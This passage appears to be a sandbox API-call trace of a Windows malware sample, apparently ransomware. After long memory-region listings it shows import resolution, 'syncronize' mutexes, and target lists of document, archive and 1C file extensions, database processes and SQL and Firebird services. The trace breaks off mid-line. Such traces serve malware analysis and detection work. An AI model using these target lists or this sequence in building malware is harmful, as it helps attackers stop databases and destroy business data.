0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2142 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2143 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2144 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2145 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2146 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2147 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2148 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2149 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2150 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2151 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2152 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2153 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2154 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2155 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2156 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2157 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2158 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2159 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2160 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2161 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2162 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2163 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2164 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2165 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2166 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2167 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2168 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2169 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2170 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2171 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2172 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2173 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2174 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2175 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2176 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2177 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2178 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2179 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2180 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2181 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2182 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2183 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2184 start_va = 0x270000 end_va = 0x277fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 2185 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2186 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2187 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2188 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2189 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2190 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2191 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2192 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2193 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2194 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2195 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2196 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2197 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2198 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2199 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2200 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2201 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2202 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2203 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2204 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2205 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2206 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2207 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2208 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2209 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2210 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2211 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2212 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2213 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2214 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2215 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2216 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2217 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2218 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2219 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2220 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2221 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2222 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2223 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2224 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2225 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2226 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2227 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2228 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2229 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2230 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2231 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2232 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2233 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2234 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2235 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2236 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2237 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2238 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2239 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2240 start_va = 0x1e0000 end_va = 0x1e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Thread: id = 11 os_tid = 0xb24 [0110.539] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75a20000 [0110.540] VirtualProtect (in: lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x40, lpflOldProtect=0x18f274 | out: lpflOldProtect=0x18f274*=0x40) returned 1 [0110.540] LocalAlloc (uFlags=0x0, uBytes=0x68) returned 0x4e3070 [0110.540] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75a20000 [0110.540] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77850000 [0110.540] LoadLibraryA (lpLibFileName="NTDLL") returned 0x77850000 [0110.540] VirtualProtect (in: lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x20, lpflOldProtect=0x18f274 | out: lpflOldProtect=0x18f274*=0x40) returned 1 [0110.541] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75a20000 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetProcAddress") returned 0x75a31222 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleHandleW") returned 0x75a334b0 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="FindNextFileW") returned 0x75a354ee [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="FindClose") returned 0x75a34442 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="MoveFileW") returned 0x75a49af0 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileSizeEx") returned 0x75a359e2 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleFileNameW") returned 0x75a34950 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileAttributesW") returned 0x75a31b18 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="ExitProcess") returned 0x75a37a10 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetCommandLineW") returned 0x75a35223 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetComputerNameW") returned 0x75a3dd0e [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetComputerNameA") returned 0x75a4b6e0 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="CreateMutexW") returned 0x75a3424c [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="lstrlenW") returned 0x75a31700 [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="lstrlenA") returned 0x75a35a4b [0110.542] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcess") returned 0x75a31809 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="WaitForSingleObject") returned 0x75a31136 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="GetLogicalDrives") returned 0x75a35371 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="GetTickCount") returned 0x75a3110c [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="DeleteFileW") returned 0x75a389b3 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="WideCharToMultiByte") returned 0x75a3170d [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75a31916 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="Sleep") returned 0x75a310ff [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="LeaveCriticalSection") returned 0x77872270 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="ReadFile") returned 0x75a33ed3 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="CreateFileW") returned 0x75a33f5c [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="OpenMutexW") returned 0x75a35151 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="EnterCriticalSection") returned 0x778722b0 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="WaitForMultipleObjects") returned 0x75a34220 [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcmpiW") returned 0x75a4d5cd [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcmpiA") returned 0x75a33e8e [0110.543] GetProcAddress (hModule=0x75a20000, lpProcName="DeleteCriticalSection") returned 0x778845f5 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="ReleaseMutex") returned 0x75a3111e [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="CloseHandle") returned 0x75a31410 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="GetVersion") returned 0x75a34467 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThread") returned 0x75a334d5 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="ExpandEnvironmentStringsW") returned 0x75a34173 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="QueryPerformanceCounter") returned 0x75a31725 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="QueryPerformanceFrequency") returned 0x75a341f0 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcessId") returned 0x75a311f8 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="SetFileAttributesW") returned 0x75a4d4f7 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="GetVolumeInformationW") returned 0x75a4c860 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="WriteFile") returned 0x75a31282 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="SetFilePointerEx") returned 0x75a4c807 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="SetEndOfFile") returned 0x75a4ce2e [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="FindFirstFileW") returned 0x75a34435 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="GetProcessHeap") returned 0x75a314e9 [0110.544] GetProcAddress (hModule=0x75a20000, lpProcName="HeapReAlloc") returned 0x77891f6e [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="HeapAlloc") returned 0x7787e026 [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="HeapFree") returned 0x75a314c9 [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="CreatePipe") returned 0x75ab415b [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="SetHandleInformation") returned 0x75a4195c [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="CreateProcessW") returned 0x75a3103d [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="CompareStringW") returned 0x75a33bca [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="CompareStringA") returned 0x75a33c5a [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="OpenProcess") returned 0x75a31986 [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="TerminateProcess") returned 0x75a4d802 [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="GetSystemTime") returned 0x75a35a96 [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="SystemTimeToFileTime") returned 0x75a35a7e [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="GetLastError") returned 0x75a311c0 [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="CreateToolhelp32Snapshot") returned 0x75a5735f [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="Process32NextW") returned 0x75a5896c [0110.545] GetProcAddress (hModule=0x75a20000, lpProcName="Process32FirstW") returned 0x75a58baf [0110.545] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75b30000 [0110.559] GetProcAddress (hModule=0x75b30000, lpProcName="RegOpenKeyExW") returned 0x75b4468d [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="RegQueryValueExW") returned 0x75b446ad [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="RegSetValueExW") returned 0x75b414d6 [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="RegCloseKey") returned 0x75b4469d [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="OpenProcessToken") returned 0x75b44304 [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="GetTokenInformation") returned 0x75b4431c [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="OpenSCManagerW") returned 0x75b3ca64 [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="OpenServiceW") returned 0x75b3ca4c [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="CloseServiceHandle") returned 0x75b4369c [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="ControlService") returned 0x75b57144 [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="QueryServiceStatus") returned 0x75b42a86 [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="EnumDependentServicesW") returned 0x75b31e3a [0110.560] GetProcAddress (hModule=0x75b30000, lpProcName="EnumServicesStatusExW") returned 0x75b3b466 [0110.560] LoadLibraryA (lpLibFileName="user32.dll") returned 0x756f0000 [0110.575] GetProcAddress (hModule=0x756f0000, lpProcName="SystemParametersInfoW") returned 0x757090d3 [0110.575] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76670000 [0110.590] GetProcAddress (hModule=0x76670000, lpProcName="ShellExecuteExW") returned 0x76691e46 [0110.590] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77850000 [0110.590] GetProcAddress (hModule=0x77850000, lpProcName="NtQuerySystemInformation") returned 0x7786fda0 [0110.590] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74030000 [0110.847] GetProcAddress (hModule=0x74030000, lpProcName="WNetCloseEnum") returned 0x74032dd6 [0110.847] GetProcAddress (hModule=0x74030000, lpProcName="WNetOpenEnumW") returned 0x74032f06 [0110.847] GetProcAddress (hModule=0x74030000, lpProcName="WNetEnumResourceW") returned 0x74033058 [0110.847] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x764c0000 [0111.277] GetProcAddress (hModule=0x764c0000, lpProcName="WSAStartup") returned 0x764c3ab2 [0111.277] GetProcAddress (hModule=0x764c0000, lpProcName="socket") returned 0x764c3eb8 [0111.277] GetProcAddress (hModule=0x764c0000, lpProcName="send") returned 0x764c6f01 [0111.277] GetProcAddress (hModule=0x764c0000, lpProcName="recv") returned 0x764c6b0e [0111.277] GetProcAddress (hModule=0x764c0000, lpProcName="connect") returned 0x764c6bdd [0111.277] GetProcAddress (hModule=0x764c0000, lpProcName="closesocket") returned 0x764c3918 [0111.277] GetProcAddress (hModule=0x764c0000, lpProcName="gethostbyname") returned 0x764d7673 [0111.277] GetProcAddress (hModule=0x764c0000, lpProcName="inet_addr") returned 0x764c311b [0111.278] GetProcAddress (hModule=0x764c0000, lpProcName="ntohl") returned 0x764c2d57 [0111.278] GetProcAddress (hModule=0x764c0000, lpProcName="htonl") returned 0x764c2d57 [0111.278] GetProcAddress (hModule=0x764c0000, lpProcName="htons") returned 0x764c2d8b [0111.278] QueryPerformanceCounter (in: lpPerformanceCount=0x18f0cc | out: lpPerformanceCount=0x18f0cc*=1818643900000) returned 1 [0111.278] GetTickCount () returned 0x2a17c [0111.278] GetCurrentProcessId () returned 0xad4 [0111.280] GetTickCount () returned 0x2a17c [0111.280] GetTickCount () returned 0x2a17c [0111.280] GetVersion () returned 0x1db10106 [0111.280] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KVW72VA") returned 0x0 [0111.280] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_KVW72VA") returned 0x84 [0111.281] lstrlenW (lpString="Global\\syncronize_") returned 18 [0111.281] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KVW72VU") returned 0x0 [0111.281] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_KVW72VU") returned 0x88 [0111.281] lstrlenW (lpString="Global\\syncronize_") returned 18 [0111.281] GetVersion () returned 0x1db10106 [0111.281] GetCurrentProcess () returned 0xffffffff [0111.281] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18f0b8 | out: TokenHandle=0x18f0b8*=0x8c) returned 1 [0111.281] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18f0b4, TokenInformationLength=0x4, ReturnLength=0x18f0c0 | out: TokenInformation=0x18f0b4, ReturnLength=0x18f0c0) returned 1 [0111.281] CloseHandle (hObject=0x8c) returned 1 [0111.281] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0111.282] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0111.283] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0111.283] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18f104 | out: lpWSAData=0x18f104) returned 0 [0111.293] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0111.293] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0111.293] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5156e0 [0111.296] EnumServicesStatusExW (in: hSCManager=0x5156e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18f0a0, lpServicesReturned=0x18f0b8, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18f0a0, lpServicesReturned=0x18f0b8, lpResumeHandle=0x0) returned 0 [0111.297] GetLastError () returned 0xea [0111.297] EnumServicesStatusExW (in: hSCManager=0x5156e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x519218, cbBufSize=0x13a2, pcbBytesNeeded=0x18f0a0, lpServicesReturned=0x18f0b8, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x519218, pcbBytesNeeded=0x18f0a0, lpServicesReturned=0x18f0b8, lpResumeHandle=0x0) returned 1 [0111.297] CloseServiceHandle (hSCObject=0x5156e0) returned 1 [0111.299] lstrlenW (lpString="Appinfo") returned 7 [0111.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0111.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0111.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0111.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0111.300] lstrcmpiW 